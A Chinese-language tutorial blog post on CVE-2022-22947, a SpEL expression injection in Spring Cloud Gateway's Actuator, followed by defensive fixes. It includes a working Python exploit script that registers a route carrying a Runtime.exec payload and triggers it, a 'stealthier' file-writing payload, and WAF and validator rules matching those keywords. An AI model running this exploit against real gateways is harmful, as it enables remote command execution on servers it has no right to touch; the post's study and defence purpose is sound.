Spring Cloud Gateway 的 SpEL 表达式注入漏洞(CVE-2022-22947)

Spring Cloud Gateway 的 SpEL 表达式注入漏洞(CVE-2022-22947)

漏洞背景与危害2022年3月,Spring官方披露了一个高危漏洞------CVE-2022-22947,该漏洞存在于Spring Cloud Gateway组件中。Spring Cloud Gateway 是 Spring 生态中用于构建API网关的组件,它基于Spring WebFlux,提供了路由、过滤、限流等核心功能。该漏洞的核心问题在于:Actuator 端点在处理路由配置时,未对用户输入的 SpEL 表达式进行有效过滤,导致攻击者可以通过构造恶意请求,执行任意系统命令 。漏洞影响版本为 Spring Cloud Gateway 3.1.x <= 3.1.1、3.0.x <= 3.0.7 以及更早版本。想象一下,你的API网关突然变成了黑客的"提权工具"------他们可以远程执行任何命令,读取服务器文件、植入后门、甚至控制整个服务集群。这就是该漏洞的严重性。## 漏洞原理:SpEL 表达式注入SpEL(Spring Expression Language)是Spring框架中的表达式语言,它支持方法调用、属性访问、集合操作等强大功能。在正常场景中,Spring Cloud Gateway 使用 SpEL 来动态解析路由过滤器的参数,例如:java@Beanpublic RouteLocator customRouteLocator(RouteLocatorBuilder builder) { return builder.routes() .route("path_route", r -> r.path("/get") .filters(f -> f.addRequestHeader("X-Request-Custom", "CustomHeader")) .uri("http://httpbin.org")) .build();}但问题是,当通过 Actuator 接口动态创建路由时,用户输入的过滤器参数会被直接传递给 SpEL 解析器。攻击者可以在参数中嵌入恶意表达式,如 T(java.lang.Runtime).getRuntime().exec("calc"),从而触发远程代码执行。## 复现环境搭建为了演示漏洞,我们需要一个存在漏洞的 Spring Cloud Gateway 项目。以下是关键配置:java// application.yml 配置spring: cloud: gateway: enabled: true application: name: gateway-demomanagement: endpoints: web: exposure: include: "*" # 暴露所有Actuator端点(生产环境应禁用)## 攻击复现:一步步执行系统命令### 第一步:创建恶意路由攻击者首先向 Actuator 的 /gateway/routes 端点发送 POST 请求,创建一个包含恶意 SpEL 表达式的路由:python# 攻击脚本示例:利用Python requests库发送恶意请求import requestsimport json# 目标网关地址gateway_url = "http://127.0.0.1:8080"# 构造恶意路由配置# 关键点:在 filters 参数中嵌入 SpEL 表达式malicious_route = { "id": "evil_route", # 路由ID "filters": [{ "name": "AddRequestHeader", "args": { # 这里注入系统命令:在Windows上执行calc.exe(计算器) "name": "X-Custom-Header", "value": "#{T(java.lang.Runtime).getRuntime().exec('calc.exe')}" } }], "uri": "http://httpbin.org:80", # 合法目标地址 "predicates": [{ "name": "Path", "args": {"_genkey_0": "/test/**"} }]}# 发送创建路由请求response = requests.post( f"{gateway_url}/actuator/gateway/routes", headers={"Content-Type": "application/json"}, data=json.dumps(malicious_route))print(f"创建路由响应状态码: {response.status_code}")print(f"响应内容: {response.text}")### 第二步:触发路由刷新创建路由后,需要刷新网关配置才能触发 SpEL 解析:python# 刷新路由缓存,触发漏洞refresh_response = requests.post( f"{gateway_url}/actuator/gateway/refresh")print(f"刷新响应状态码: {refresh_response.status_code}")# 访问测试路径,触发路由执行test_response = requests.get(f"{gateway_url}/test/any")print(f"测试请求状态码: {test_response.status_code}")在漏洞环境下,执行这段代码后,目标服务器会弹出计算器窗口(Windows系统),或者执行 id 命令返回系统信息。如果无法直接看到效果,可以尝试更隐蔽的命令,如写入文件:python# 更隐蔽的攻击payload:写入文件stealth_payload = "#{T(java.lang.Runtime).getRuntime().exec('echo \"pwned\" > /tmp/hacked.txt')}"## 防御方案### 立即升级版本最直接的修复方案是升级到安全版本:- Spring Cloud Gateway 3.1.x -> 3.1.2± Spring Cloud Gateway 3.0.x -> 3.0.8+### 禁用Actuator端点如果无法立即升级,可以禁用敏感端点:yaml# application.ymlmanagement: endpoints: web: exposure: exclude: "gateway" # 禁用gateway相关端点### 添加SpEL安全校验在代码层面添加自定义过滤器,限制 SpEL 表达式的执行范围:java// 自定义SpEL安全校验器@Componentpublic class SafeSpelParser { public Object parseExpression(String expression) { // 只允许简单的属性访问,禁止方法调用 if (expression.contains("T(") || expression.contains("exec(")) { throw new SecurityException("禁止的危险表达式: " + expression); } ExpressionParser parser = new SpelExpressionParser(); return parser.parseExpression(expression).getValue(); }}### 网络层防护在 WAF(Web应用防火墙)层面添加规则,拦截包含 T(java.lang.Runtime) 等关键字的请求:nginx# Nginx WAF规则示例if ($request_body ~* "T\(java\.lang\.Runtime\)") { return 403;}## 总结CVE-2022-22947 是一个典型的 SpEL 表达式注入漏洞,它提醒我们:动态执行用户输入的表达式是极其危险的操作 。Spring Cloud Gateway 作为微服务架构中的流量入口,其安全性至关重要。通过这个案例,我们应该记住三点:1. 默认安全原则 :不要暴露不必要的 Actuator 端点,尤其在生产环境2. 输入验证 :所有用户输入都需要经过严格的校验和过滤3. 及时升级:关注官方安全公告,及时修复已知漏洞最后,建议所有使用 Spring Cloud Gateway 的团队立即检查版本并采取相应措施。安全无小事,一个看似简单的表达式注入,可能让你的整个系统沦陷。

相关推荐
Gauss松鼠会1 小时前
Prometheus 实现 openGauss 的指标监控(二)Prometheus 中添加 openGauss指标
网络·数据库·oracle·prometheus·opengauss·经验总结
钒星物联网2 小时前
北斗二号停服倒计时!磐钴提供五大升级服务
大数据·网络
古月方枘Fry2 小时前
基于大模型+MySQL的innoai助手(可适配多数环境)
网络·数据库·mysql·aigc
hz567893 小时前
应急管理部门跨部门会商用什么系统?指挥调度视频会议方案解析
网络·安全·音视频·实时音视频·信息与通信
平行宇宙喜欢吃橙3 小时前
Agent Harness 实战指南:构建生产级 AI Agent 的“马具“框架
网络·人工智能
laboratory agent开发3 小时前
工具调用失败后怎么办?重试分层与降级回路的三种路线
服务器·前端·网络
肥胖小羊4 小时前
企业微信自建应用多环境联调与路由代理方案
服务器·前端·网络
白猫不黑5 小时前
Web 应用中“敏感信息泄露“的常见位置?
前端·网络·web安全·网络安全·信息安全·渗透测试
拉格朗日(Lagrange)5 小时前
【CISP】物理环境与网络通信安全
网络·安全